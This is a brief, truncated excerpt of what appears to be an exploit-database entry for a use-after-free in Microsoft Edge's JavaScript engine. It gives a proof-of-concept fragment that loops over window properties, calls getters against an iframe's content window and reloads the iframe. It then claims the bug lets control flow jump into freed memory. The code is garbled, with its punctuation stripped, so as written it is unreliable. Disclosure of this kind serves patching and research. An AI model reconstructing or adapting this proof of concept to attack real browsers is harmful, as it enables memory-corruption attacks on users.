Microsoft Edge 38.14393.0.0 - JavaScript Engine Use-After-Free

f.onload = null; for var x in window if whitelist.indexOfx != -1 continue; try window.lookupGetterx.callf.contentWindow; logx; catch e ; f.src = "https://abc.xyz/"; document.body.appendChildf; And after some plays, finally reached an UAF condition. PoC is attached. RIP will jump into the freed JI...